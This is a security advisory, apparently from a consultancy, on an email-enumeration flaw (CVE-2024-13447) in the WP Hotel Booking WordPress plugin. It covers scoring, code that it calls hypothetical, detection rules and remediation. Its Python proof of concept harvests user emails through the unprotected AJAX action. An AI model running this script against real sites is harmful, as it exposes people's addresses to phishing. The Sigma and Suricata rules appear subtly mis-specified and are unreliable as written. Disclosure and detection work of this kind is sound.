CVE-2024-13447

Executive Summary

CVE-2024-13447 is a vulnerability in the WP Hotel Booking WordPress plugin (versions up to and including 2.1.6) that allows authenticated attackers with Subscriber-level access or higher to enumerate registered user email addresses. The flaw exists in the hotel_booking_load_order_user AJAX action, which lacks a proper capability check. This is a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor the plugin’s update channel for a patched version. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (email disclosure)
• Integrity Impact: None
• Availability Impact: None

The threat level is Medium due to the low privileges required and the potential for email harvesting, which can fuel phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the hotel_booking_load_order_user AJAX action handler. In WordPress, AJAX actions are registered via wp_ajax_ and wp_ajax_nopriv_ hooks. The vulnerable code likely lacks a current_user_can() or similar capability check before processing the request.

Root Cause: The function hotel_booking_load_order_user is hooked to wp_ajax_hotel_booking_load_order_user without verifying that the requesting user has the required capabilities (e.g., manage_options or edit_others_posts). This allows any authenticated user, including Subscribers, to call the action.

Exploitation Mechanism:

1. An attacker authenticates as a Subscriber (or higher role).
2. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=hotel_booking_load_order_user.
3. The server returns a list of registered user emails, likely from the wp_users table.

Impact: Disclosure of user email addresses can be used for targeted phishing, credential stuffing, or social engineering attacks.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical, based on CWE-862):

add_action('wp_ajax_hotel_booking_load_order_user', 'hotel_booking_load_order_user');
function hotel_booking_load_order_user() {
    global $wpdb;
    $emails = $wpdb->get_col("SELECT user_email FROM {$wpdb->users}");
    wp_send_json_success($emails);
}

Patched Code (expected fix):

add_action('wp_ajax_hotel_booking_load_order_user', 'hotel_booking_load_order_user');
function hotel_booking_load_order_user() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    global $wpdb;
    $emails = $wpdb->get_col("SELECT user_email FROM {$wpdb->users}");
    wp_send_json_success($emails);
}

The patch adds a capability check (manage_options) to restrict access to administrators only.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit exists, the following Python script demonstrates the vulnerability:

import requests

target_url = "https://example.com/wp-admin/admin-ajax.php"
session = requests.Session()

# Authenticate as subscriber (credentials required)
login_data = {
    'log': 'subscriber_user',
    'pwd': 'subscriber_password',
    'wp-submit': 'Log In',
    'redirect_to': target_url,
    'testcookie': '1'
}
session.post(target_url.replace('admin-ajax.php', 'wp-login.php'), data=login_data)

# Exploit the AJAX action
ajax_data = {'action': 'hotel_booking_load_order_user'}
response = session.post(target_url, data=ajax_data)
print(response.json())

Expected Output: A JSON object containing an array of user email addresses.

Blue Team (Detection & Hardening)

• Immediate Mitigation: Disable the plugin until a patch is released, or apply a virtual patch via WAF (e.g., block action=hotel_booking_load_order_user for non-admin users).
• Log Monitoring: Monitor for repeated AJAX requests to admin-ajax.php with action=hotel_booking_load_order_user from low-privilege users.
• User Role Audit: Ensure Subscriber accounts are not used for automated tasks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with body action=hotel_booking_load_order_user
  • Response containing a JSON array of email addresses
• File IOCs:
  • Plugin file: /wp-content/plugins/wp-hotel-booking/includes/class-wp-hotel-booking-ajax.php (or similar)
• Behavioral IOCs:
  • Subscriber-level user accounts making AJAX calls to admin-ajax.php

Detection Engineering

YARA Rule

rule CVE_2024_13447_WP_Hotel_Booking_Email_Disclosure {
    meta:
        description = "Detects vulnerable WP Hotel Booking plugin code missing capability check"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13447"
    strings:
        $ajax_hook = "hotel_booking_load_order_user"
        $missing_cap = "current_user_can" nocase
    condition:
        $ajax_hook and not $missing_cap
}

Sigma Rule

title: CVE-2024-13447 WP Hotel Booking Email Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-13447 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'action=hotel_booking_load_order_user'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13447 WP Hotel Booking Email Disclosure Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=hotel_booking_load_order_user"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the WP Hotel Booking plugin if not critical.
   • Apply a Web Application Firewall (WAF) rule to block action=hotel_booking_load_order_user for non-admin users.
   • Monitor for unauthorized email enumeration.

2. Long-term Fix:

   • Update the plugin to a patched version once released (check plugin repository).
   • If no patch is available, manually add a capability check to the vulnerable function (see patched code example).

3. Compromise Assessment:

   • Review server logs for suspicious AJAX requests.
   • Check for any unusual subscriber account activity.
   • If emails were exposed, notify affected users and advise them to watch for phishing.

Valters IT
Securing Digital Frontiers